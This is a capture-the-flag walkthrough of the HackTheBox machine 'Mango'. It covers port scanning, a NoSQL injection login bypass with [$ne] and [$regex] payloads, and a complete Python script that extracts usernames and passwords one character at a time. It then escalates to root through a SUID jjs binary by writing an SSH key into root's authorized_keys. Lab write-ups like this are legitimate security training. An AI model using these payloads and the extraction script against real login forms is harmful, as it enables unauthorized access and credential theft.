18. HackTheBox. Level Medium: Passing Mango. NoSQL Injection and LPE via JJS

18 December 2024 6 minutes Author: Lady Liberty

How to detect and exploit NoSQL vulnerabilities? This article will walk you through the penetration testing process, based on the real-life challenge “Mango” from HackTheBox. You will learn how to use port scanners like masscan and nmap, how to find weaknesses in login forms, and how to use NoSQL injections to gain access to a system.

How to hack NoSQL

This article discusses the exploitation of NoSQL injection in the form of authorization and privilege escalation using JJS.

The connection to the lab is via VPN. For security reasons, it is recommended to use a separate computer or environment that does not contain sensitive data, as the connection is to a private network where experienced information security professionals are located.

Recon

This machine has an IP address of 10.10.10.162, which we add to /etc/hosts.

10.10.10.162    mango.htb
First, a scan of open ports is performed. To speed up the process, masscan is used instead of nmap for the initial analysis. All TCP and UDP ports are scanned through the tun0 interface at a rate of 1000 packets per second.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

To get more detailed information about the services running on the ports, run the scan with the -A option.

nmap -A mango.htb -p22,80,443

First, the website is checked. When accessing mango.htb, a redirection occurs from HTTP to HTTPS, where a warning about a problem with the certificate appears. After accepting the risks, it becomes possible to view the page content.

However, nothing else interesting was found on the site. The nmap scan results contain information about ssl-cert, where the domain is specified. For further work, we add this domain to the /etc/hosts file.

10.10.10.162 staging-order.mango.htb

І зайдемо глянути, що там.

There is an authorization form here – a possible entry point.

Entry Point

We try several injection techniques to bypass authorization and detect a standard NoSQL injection. To do this, we compare the system’s response to two conditions: “login is 123, password is 123” and “login is not 123, password is not 123”. This allows us to detect a vulnerability that can be exploited to gain access.

After receiving a successful true result for the second condition, a redirection occurs to the home.php page, confirming the successful execution of the NoSQL injection.

Since there is nothing interesting on the page, the only thing that can be obtained from this vulnerability are logins and passwords.

USER

To determine the maximum length of logins and passwords, you can use the following constructs:

  • For login: login[$regex]=.{length}&password[$ne]=123, which allows you to perform a regular expression comparison for the login while also checking that the password is incorrect.

  • For password: login[$ne]=123; password[$regex]=.{length}, which allows you to check the maximum length of the password, provided that the login is incorrect.

These queries can be automated using Burp Intruder to quickly test different lengths and get the information you need.

Thus, the maximum length of a login is 5 characters. Having performed the same operations for the password, we determine that the maximum length of a password is 16 characters.

Since manually iterating through the options is too time-consuming, you can create a Python script to automate this process. First, let’s set up a session to work with web queries.

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

Next, a function for searching logins is implemented. The search will be performed using the regular expression ^name.*, which allows extracting one character at a time.

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

And a similar function only using the found login.

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))

Here is the complete code for iterating through logins using the regular expression ^name.*:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("\nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]

And, as a result, we find the credentials of two users.

With the credentials, we successfully connect to SSH.

There is a password from the second user, but it does not allow logging in via SSH. Let’s try changing the user locally, using a known password.

ROOT

Let’s do a basic enumeration using the LinEnum script.

We find the program with the S-bit set.

Let’s check JJS using the example of GTFOBins.

There are also examples of exploitation. It was not possible to invoke a local shell, but it is possible to generate SSH keys, write the public key to /root/.ssh/authorized_keys and connect using the private key.

Let’s consider a public key.

Let’s write it down.

And now let’s connect as root.

Conclusion

The article describes the process of exploiting vulnerabilities via NoSQL injection to bypass authorization, determine the maximum lengths of logins and passwords. A Python script is used to automate the brute-force. After that, if SSH connection is not possible, a pair of SSH keys is generated, and the public key is added to /root/.ssh/authorized_keys for access via the private key.

Other related articles
Found an error?
If you find an error, take a screenshot and send it to the bot.